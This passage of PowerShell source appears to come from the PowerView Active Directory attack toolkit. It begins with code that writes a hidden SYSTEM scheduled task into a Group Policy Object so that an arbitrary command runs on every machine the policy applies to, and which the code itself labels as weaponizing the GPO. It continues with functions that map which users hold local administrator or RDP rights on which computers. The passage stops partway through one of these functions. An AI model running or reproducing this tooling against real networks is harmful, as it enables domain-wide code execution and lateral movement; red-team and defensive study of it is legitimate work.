AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'
5729
5730 if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {
5731 Write-Warning 'Either -GPOName or -GPODisplayName must be specified'
5732 return
5733 }
5734
5735 # eunmerate the specified GPO(s)
5736 $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential
5737
5738 if(!$GPOs) {
5739 Write-Warning 'No GPO found.'
5740 return
5741 }
5742
5743 $GPOs | ForEach-Object {
5744 $ProcessedGPOName = $_.Name
5745 try {
5746 Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"
5747
5748 # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(
5749 if($Credential) {
5750 Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\"
5751 $Path = $_.gpcfilesyspath.TrimEnd('\')
5752 $Net = New-Object -ComObject WScript.Network
5753 $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
5754 $TaskPath = "N:\Machine\Preferences\ScheduledTasks\"
5755 }
5756 else {
5757 $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"
5758 }
5759
5760 if($Remove) {
5761 if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {
5762 Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"
5763 }
5764
5765 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {
5766 return
5767 }
5768
5769 Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force
5770 }
5771 else {
5772 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {
5773 return
5774 }
5775
5776 # create the folder if it doesn't exist
5777 $Null = New-Item -ItemType Directory -Force -Path $TaskPath
5778
5779 if(Test-Path "$TaskPath\ScheduledTasks.xml") {
5780 Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"
5781 }
5782
5783 $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"
5784 }
5785
5786 if($Credential) {
5787 Write-Verbose "Removing mounted drive at N:\"
5788 $Net = New-Object -ComObject WScript.Network
5789 $Net.RemoveNetworkDrive("N:")
5790 }
5791 }
5792 catch {
5793 Write-Warning "Error for GPO $ProcessedGPOName : $_"
5794 if($Credential) {
5795 Write-Verbose "Removing mounted drive at N:\"
5796 $Net = New-Object -ComObject WScript.Network
5797 $Net.RemoveNetworkDrive("N:")
5798 }
5799 }
5800 }
5801}
5802
5803
5804function Get-NetGPOGroup {
5805<#
5806 .SYNOPSIS
5807 Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines.
5808 Author: @harmj0y
5809 License: BSD 3-Clause
5810 Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName
5811 Optional Dependencies: None
5812
5813 .DESCRIPTION
5814 First enumerates all GPOs in the current/target domain using Get-NetGPO with passed
5815 arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
5816 group membership is set through Group Policy Preferences groups.xml files. For any
5817 GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
5818 section data is processed if present. Any found Groups.xml files are parsed with
5819 Get-GroupsXML and those memberships are returned as well.
5820 .PARAMETER GPOname
5821 The GPO name (GUID) to query for, wildcards accepted.
5822 .PARAMETER DisplayName
5823 The GPO display name to query for, wildcards accepted.
5824 .PARAMETER Domain
5825 The domain to query for GPOs, defaults to the current domain.
5826 .PARAMETER DomainController
5827 Domain controller to reflect LDAP queries through.
5828 .PARAMETER ADSpath
5829 The LDAP source to search through for GPOs.
5830 e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
5831 .PARAMETER ResolveMemberSIDs
5832 Switch. Try to resolve the SIDs of all found group members.
5833 .PARAMETER UsePSDrive
5834 Switch. Mount any found policy files with temporary PSDrives.
5835 .PARAMETER PageSize
5836 The PageSize to set for the LDAP searcher object.
5837 .EXAMPLE
5838 PS C:\> Get-NetGPOGroup
5839 Returns all local groups set by GPO along with their members and memberof.
5840 .EXAMPLE
5841 PS C:\> Get-NetGPOGroup -ResolveMemberSIDs
5842 Returns all local groups set by GPO along with their members and memberof,
5843 and resolve any members to their domain SIDs.
5844 .EXAMPLE
5845 PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}'
5846 Return any GPO-set groups for the GPO with the given name/GUID.
5847 .EXAMPLE
5848 PS C:\> Get-NetGPOGroup -DisplayName 'Desktops'
5849 Return any GPO-set groups for the GPO with the given display name.
5850 .LINK
5851 https://morgansimonsenblog.azurewebsites.net/tag/groups/
5852#>
5853
5854 [CmdletBinding()]
5855 Param (
5856 [String]
5857 $GPOname = '*',
5858
5859 [String]
5860 $DisplayName,
5861
5862 [String]
5863 $Domain,
5864
5865 [String]
5866 $DomainController,
5867
5868 [String]
5869 $ADSpath,
5870
5871 [Switch]
5872 $ResolveMemberSIDs,
5873
5874 [Switch]
5875 $UsePSDrive,
5876
5877 [ValidateRange(1,10000)]
5878 [Int]
5879 $PageSize = 200
5880 )
5881
5882 $Option = [System.StringSplitOptions]::RemoveEmptyEntries
5883
5884 # get every GPO from the specified domain with restricted groups set
5885 Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
5886
5887 $GPOdisplayName = $_.displayname
5888 $GPOname = $_.name
5889 $GPOPath = $_.gpcfilesyspath
5890
5891 $ParseArgs = @{
5892 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
5893 'UsePSDrive' = $UsePSDrive
5894 }
5895
5896 # parse the GptTmpl.inf 'Restricted Groups' file if it exists
5897 $Inf = Get-GptTmpl @ParseArgs
5898
5899 if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
5900
5901 $Memberships = @{}
5902
5903 # group the members/memberof fields for each entry
5904 ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
5905 $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()}
5906
5907 # extract out ALL members
5908 $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
5909
5910 if($ResolveMemberSIDs) {
5911 # if the resulting member is username and not a SID, attempt to resolve it
5912 $GroupMembers = @()
5913 ForEach($Member in $MembershipValue) {
5914 if($Member -and ($Member.Trim() -ne '')) {
5915 if($Member -notmatch '^S-1-.*') {
5916 $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
5917 if($MemberSID) {
5918 $GroupMembers += $MemberSID
5919 }
5920 else {
5921 $GroupMembers += $Member
5922 }
5923 }
5924 else {
5925 $GroupMembers += $Member
5926 }
5927 }
5928 }
5929 $MembershipValue = $GroupMembers
5930 }
5931
5932 if(-not $Memberships[$Group]) {
5933 $Memberships[$Group] = @{}
5934 }
5935 if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
5936 $Memberships[$Group].Add($Relation, $MembershipValue)
5937 }
5938
5939 ForEach ($Membership in $Memberships.GetEnumerator()) {
5940 if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
5941 # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
5942 $GroupSID = $Membership.Key.Trim('*')
5943 if($GroupSID -and ($GroupSID.Trim() -ne '')) {
5944 $GroupName = Convert-SidToName -SID $GroupSID
5945 }
5946 else {
5947 $GroupName = $False
5948 }
5949 }
5950 else {
5951 $GroupName = $Membership.Key
5952
5953 if($GroupName -and ($GroupName.Trim() -ne '')) {
5954 if($Groupname -match 'Administrators') {
5955 $GroupSID = 'S-1-5-32-544'
5956 }
5957 elseif($Groupname -match 'Remote Desktop') {
5958 $GroupSID = 'S-1-5-32-555'
5959 }
5960 elseif($Groupname -match 'Guests') {
5961 $GroupSID = 'S-1-5-32-546'
5962 }
5963 elseif($GroupName.Trim() -ne '') {
5964 $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID
5965 }
5966 else {
5967 $GroupSID = $Null
5968 }
5969 }
5970 }
5971
5972 $GPOGroup = New-Object PSObject
5973 $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
5974 $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
5975 $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
5976 $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
5977 $GPOGroup | Add-Member Noteproperty 'Filters' $Null
5978 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
5979 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
5980 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
5981 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
5982 $GPOGroup
5983 }
5984 }
5985
5986 $ParseArgs = @{
5987 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
5988 'UsePSDrive' = $UsePSDrive
5989 }
5990
5991 Get-GroupsXML @ParseArgs | ForEach-Object {
5992 if($ResolveMemberSIDs) {
5993 $GroupMembers = @()
5994 ForEach($Member in $_.GroupMembers) {
5995 if($Member -and ($Member.Trim() -ne '')) {
5996 if($Member -notmatch '^S-1-.*') {
5997 # if the resulting member is username and not a SID, attempt to resolve it
5998 $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
5999 if($MemberSID) {
6000 $GroupMembers += $MemberSID
6001 }
6002 else {
6003 $GroupMembers += $Member
6004 }
6005 }
6006 else {
6007 $GroupMembers += $Member
6008 }
6009 }
6010 }
6011 $_.GroupMembers = $GroupMembers
6012 }
6013
6014 $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
6015 $_ | Add-Member Noteproperty 'GPOName' $GPOName
6016 $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
6017 $_
6018 }
6019 }
6020}
6021
6022
6023function Find-GPOLocation {
6024<#
6025 .SYNOPSIS
6026
6027 Enumerates the machines where a specific user/group is a member of a specific
6028 local group, all through GPO correlation.
6029 Author: @harmj0y
6030 License: BSD 3-Clause
6031 Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite
6032 Optional Dependencies: None
6033 .DESCRIPTION
6034 Takes a user/group name and optional domain, and determines the computers in the domain
6035 the user/group has local admin (or RDP) rights to.
6036 It does this by:
6037 1. resolving the user/group to its proper SID
6038 2. enumerating all groups the user/group is a current part of
6039 and extracting all target SIDs to build a target SID list
6040 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
6041 Get-NetGPOGroup
6042 4. matching the target SID list to the queried GPO SID list
6043 to enumerate all GPO the user is effectively applied with
6044 5. enumerating all OUs and sites and applicable GPO GUIs are
6045 applied to through gplink enumerating
6046 6. querying for all computers under the given OUs or sites
6047
6048 If no user/group is specified, all user/group -> machine mappings discovered through
6049 GPO relationships are returned.
6050 .PARAMETER UserName
6051 A (single) user name name to query for access.
6052 .PARAMETER GroupName
6053 A (single) group name name to query for access.
6054 .PARAMETER Domain
6055 Optional domain the user exists in for querying, defaults to the current domain.
6056 .PARAMETER DomainController
6057 Domain controller to reflect LDAP queries through.
6058 .PARAMETER LocalGroup
6059 The local group to check access against.
6060 Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
6061 or a custom local SID. Defaults to local 'Administrators'.
6062 .PARAMETER UsePSDrive
6063 Switch. Mount any found policy files with temporary PSDrives.
6064 .PARAMETER PageSize
6065 The PageSize to set for the LDAP searcher object.
6066 .EXAMPLE
6067 PS C:\> Find-GPOLocation
6068 Find all user/group -> machine relationships where the user/group is a member
6069 of the local administrators group on target machines.
6070 .EXAMPLE
6071 PS C:\> Find-GPOLocation -UserName dfm
6072
6073 Find all computers that dfm user has local administrator rights to in
6074 the current domain.
6075 .EXAMPLE
6076 PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local
6077
6078 Find all computers that dfm user has local administrator rights to in
6079 the dev.testlab.local domain.
6080 .EXAMPLE
6081 PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP
6082
6083 Find all computers that jason has local RDP access rights to in the domain.
6084#>
6085
6086 [CmdletBinding()]
6087 Param (
6088 [String]
6089 $UserName,
6090
6091 [String]
6092 $GroupName,
6093
6094 [String]
6095 $Domain,
6096
6097 [String]
6098 $DomainController,
6099
6100 [String]
6101 $LocalGroup = 'Administrators',
6102
6103 [Switch]
6104 $UsePSDrive,
6105
6106 [ValidateRange(1,10000)]
6107 [Int]
6108 $PageSize = 200
6109 )
6110
6111 if($UserName) {
6112 # if a group name is specified, get that user object so we can extract the target SID
6113 $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1
6114 $UserSid = $User.objectsid
6115
6116 if(-not $UserSid) {
6117 Throw "User '$UserName' not found!"
6118 }
6119
6120 $TargetSIDs = @($UserSid)
6121 $ObjectSamAccountName = $User.samaccountname
6122 $TargetObject = $UserSid
6123 }
6124 elseif($GroupName) {
6125 # if a group name is specified, get that group object so we can extract the target SID
6126 $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1
6127 $GroupSid = $Group.objectsid
6128
6129 if(-not $GroupSid) {
6130 Throw "Group '$GroupName' not found!"
6131 }
6132
6133 $TargetSIDs = @($GroupSid)
6134 $ObjectSamAccountName = $Group.samaccountname
6135 $TargetObject = $GroupSid
6136 }
6137 else {
6138 $TargetSIDs = @('*')
6139 }
6140
6141 # figure out what the SID is of the target local group we're checking for membership in
6142 if($LocalGroup -like "*Admin*") {
6143 $TargetLocalSID = 'S-1-5-32-544'
6144 }
6145 elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
6146 $TargetLocalSID = 'S-1-5-32-555'
6147 }
6148 elseif ($LocalGroup -like "S-1-5-*") {
6149 $TargetLocalSID = $LocalGroup
6150 }
6151 else {
6152 throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format."
6153 }
6154
6155 # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to
6156 # get all effective security SIDs this object is a part of
6157 if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) {
6158 $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
6159 }
6160
6161 if(-not $TargetSIDs) {
6162 throw "No effective target SIDs!"
6163 }
6164
6165 Write-Verbose "TargetLocalSID: $TargetLocalSID"
6166 Write-Verbose "Effective target SIDs: $TargetSIDs"
6167
6168 $GPOGroupArgs = @{
6169 'Domain' = $Domain
6170 'DomainController' = $DomainController
6171 'UsePSDrive' = $UsePSDrive
6172 'ResolveMemberSIDs' = $True
6173 'PageSize' = $PageSize
6174 }
6175
6176 # enumerate all GPO group mappings for the target domain that involve our target SID set
6177 $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
6178
6179 $GPOgroup = $_
6180
6181 # if the locally set group is what we're looking for, check the GroupMembers ('members')
6182 # for our target SID
6183 if($GPOgroup.GroupSID -match $TargetLocalSID) {
6184 $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
6185 if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
6186 $GPOgroup
6187 }
6188 }
6189 }
6190 # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
6191 if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
6192 if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
6193 $GPOgroup
6194 }
6195 }
6196 } | Sort-Object -Property GPOName -Unique
6197
6198 $GPOgroups | ForEach-Object {
6199
6200 $GPOname = $_.GPODisplayName
6201 $GPOguid = $_.GPOName
6202 $GPOPath = $_.GPOPath
6203 $GPOType = $_.GPOType
6204 if($_.GroupMembers) {
6205 $GPOMembers = $_.GroupMembers
6206 }
6207 else {
6208 $GPOMembers = $_.GroupSID
6209 }
6210
6211 $Filters = $_.Filters
6212
6213 if(-not $TargetObject) {
6214 # if the * wildcard was used, set the ObjectDistName as the GPO member SID set
6215 # so all relationship mappings are output
6216 $TargetObjectSIDs = $GPOMembers
6217 }
6218 else {
6219 $TargetObjectSIDs = $TargetObject
6220 }
6221
6222 # find any OUs that have this GUID applied and then retrieve any computers from the OU
6223 Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
6224 if($Filters) {
6225 # filter for computer name/org unit if a filter is specified
6226 # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP...
6227 $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
6228 $_.adspath -match ($Filters.Value)
6229 } | ForEach-Object { $_.dnshostname }
6230 }
6231 else {
6232 $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
6233 }
6234
6235 if($OUComputers) {
6236 if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
6237
6238 ForEach ($TargetSid in $TargetObjectSIDs) {
6239 $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
6240
6241 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
6242
6243 $GPOLocation = New-Object PSObject
6244 $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
6245 $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
6246 $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
6247 $GPOLocation | Add-Member Noteproperty 'Domain' $Domain
6248 $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
6249 $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname
6250 $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid
6251 $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath
6252 $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType
6253 $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
6254 $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers
6255 $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
6256 $GPOLocation
6257 }
6258 }
6259 }
6260
6261 # find any sites that have this GUID applied
6262 Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
6263
6264 ForEach ($TargetSid in $TargetObjectSIDs) {
6265 $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
6266
6267 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
6268
6269 $AppliedSite = New-Object PSObject
6270 $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
6271 $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
6272 $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
6273 $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
6274 $AppliedSite | Add-Member Noteproperty 'Domain' $Domain
6275 $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname
6276 $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid
6277 $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath
6278 $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType
6279 $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
6280 $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
6281 $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
6282 $AppliedSite
6283 }
6284 }
6285 }
6286}
6287
6288
6289function Find-GPOComputerAdmin {
6290<#
6291 .SYNOPSIS
6292 Takes a computer (or GPO) object and determines what users/groups are in the specified
6293 local group for the machine.
6294 Author: @harmj0y
6295 License: BSD 3-Clause
6296 Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName
6297 Optional Dependencies: None
6298 .DESCRIPTION
6299
6300 If a -ComputerName is specified, retrieve the complete computer object, attempt to
6301 determine the OU the computer is a part of. Then resolve the computer's site name with
6302 Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to
6303 enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For
6304 each resulting GPO group, resolve the resulting user/group name to a full AD object and
6305 return the results. This will return the domain objects that are members of the specified
6306 -LocalGroup for the given computer.
6307 Inverse of Find-GPOLocation.
6308 .PARAMETER ComputerName
6309 The computer to determine local administrative access to.
6310 .PARAMETER OUName
6311 OU name to determine who has local adminisrtative acess to computers
6312 within it.
6313 .PARAMETER Domain
6314 Optional domain the computer/OU exists in, defaults to the current domain.
6315 .PARAMETER DomainController
6316 Domain controller to reflect LDAP queries through.
6317 .PARAMETER Recurse
6318 Switch. If a returned member is a group, recurse and get all members.
6319 .PARAMETER LocalGroup
6320 The local group to check access against.
6321 Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
6322 or a custom local SID.
6323 Defaults to local 'Administrators'.
6324 .PARAMETER UsePSDrive
6325 Switch. Mount any found policy files with temporary PSDrives.
6326 .PARAMETER PageSize
6327 The PageSize to set for the LDAP searcher object.
6328 .EXAMPLE
6329 PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local
6330
6331 Finds users who have local admin rights over WINDOWS3 through GPO correlation.
6332 .EXAMPLE
6333 PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP
6334
6335 Finds users who have RDP rights over WINDOWS3 through GPO correlation.
6336#>
6337
6338 [CmdletBinding()]
6339 Param (
6340 [Parameter(ValueFromPipeline=$True)]
6341 [String]
6342 $ComputerName,
6343
6344 [String]
6345 $OUName,
6346
6347 [String]
6348 $Domain,
6349
6350 [String]
6351 $DomainController,
6352
6353 [Switch]
6354 $Recurse,
6355
6356 [String]
6357 $LocalGroup = 'Administrators',
6358
6359 [Switch]
6360 $UsePSDrive,
6361
6362 [ValidateRange(1,10000)]
6363 [Int]
6364 $PageSize = 200
6365 )
6366
6367 process {
6368
6369 if(!$ComputerName -and !$OUName) {
6370 Throw "-ComputerName or -OUName must be provided"
6371 }
6372
6373 $GPOGroups = @()
6374
6375 if($ComputerName) {
6376 $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
6377
6378 if(!$Computers) {
6379 throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
6380 }
6381
6382 $TargetOUs = @()
6383 ForEach($Computer in $Computers) {
6384 # extract all OUs a computer is a part of
6385 $DN = $Computer.distinguishedname
6386
6387 $TargetOUs += $DN.split(",") | ForEach-Object {
6388 if($_.startswith("OU=")) {
6389 $DN.substring($DN.indexof($_))
6390 }
6391 }
6392 }
6393
6394 # enumerate any linked GPOs for the computer's site
6395 $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
6396 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
6397 $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
6398 if($_.gplink) {
6399 $_.gplink.split("][") | ForEach-Object {
6400 if ($_.startswith("LDAP")) {
6401 $_.split(";")[0]
6402 }
6403 }
6404 }
6405 } | ForEach-Object {
6406 $GPOGroupArgs = @{
6407 'Domain' = $Domain
6408 'DomainController' = $DomainController
6409 'ResolveMemberSIDs' = $True
6410 'UsePSDrive' = $UsePSDrive
6411 'PageSize' = $PageSize
6412 }
6413
6414 # for each GPO link, get any locally set user/group SIDs
6415 Get-NetGPOGroup @GPOGroupArgs
6416 }
6417 }
6418 }
6419 else {
6420 $TargetOUs = @($OUName)
6421 }
6422
6423 Write-Verbose "Target OUs: $TargetOUs"
6424
6425 $TargetOUs | Where-Object {$_} | ForEach-Object {
6426
6427 $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {
6428 # and then get any GPO links
6429 if($_.gplink) {
6430 $_.gplink.split("][") | ForEach-Object {
6431 if ($_.startswith("LDAP")) {
6432 $_.split(";")[0]
6433 }
6434 }
6435 }
6436 }
6437
6438 $GPOGroupArgs = @{
6439 'Domain' = $Domain
6440 'DomainController' = $DomainController
6441 'UsePSDrive' = $UsePSDrive
6442 'ResolveMemberSIDs' = $True
6443 'PageSize' = $PageSize
6444 }
6445
6446 # extract GPO groups that are set through any gPlink for this OU
6447 $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
6448 ForEach($GPOLink in $GPOLinks) {
6449 $Name = $_.GPOName
6450 if($GPOLink -like "*$Name*") {
6451 $_
6452 }
6453 }
6454 }
6455 }
6456
6457 # for each found GPO group, resolve the SIDs of the members
6458 $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {
6459 $GPOGroup = $_
6460
6461 if($GPOGroup.GroupMembers) {
6462 $GPOMembers = $GPOGroup.GroupMembers
6463 }
6464 else {
6465 $GPOMembers = $GPOGroup.GroupSID
6466 }
6467
6468 $GPOMembers | ForEach-Object {
6469 # resolve this SID to a domain object
6470 $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
6471
6472 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
6473
6474 $GPOComputerAdmin = New-Object PSObject
6475 $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
6476 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
6477 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
6478 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
6479 $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
6480 $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
6481 $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
6482 $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
6483 $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
6484 $GPOComputerAdmin
6485
6486 # if we're recursing and the current result object is a group
6487 if($Recurse -and $GPOComputerAdmin.isGroup) {
6488
6489 Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {
6490
6491 $MemberDN = $_.distinguishedName
6492
6493 # extract the FQDN from the Distinguished Name
6494 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
6495
6496 $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
6497
6498 if ($_.samAccountName) {
6499 # forest users have the samAccountName set
6500 $MemberName = $_.samAccountName
6501 }
6502 else {
6503 # external trust users have a SID, so convert it
6504 try {
6505 $MemberName = Convert-SidToName $_.cn
6506 }
6507 catch {
6508 # if there's a problem contacting the domain to resolve the SID
6509 $MemberName = $_.cn
6510 }
6511 }
6512
6513 $GPOComputerAdmin = New-Object PSObject
6514 $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
6515 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
6516 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
6517 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
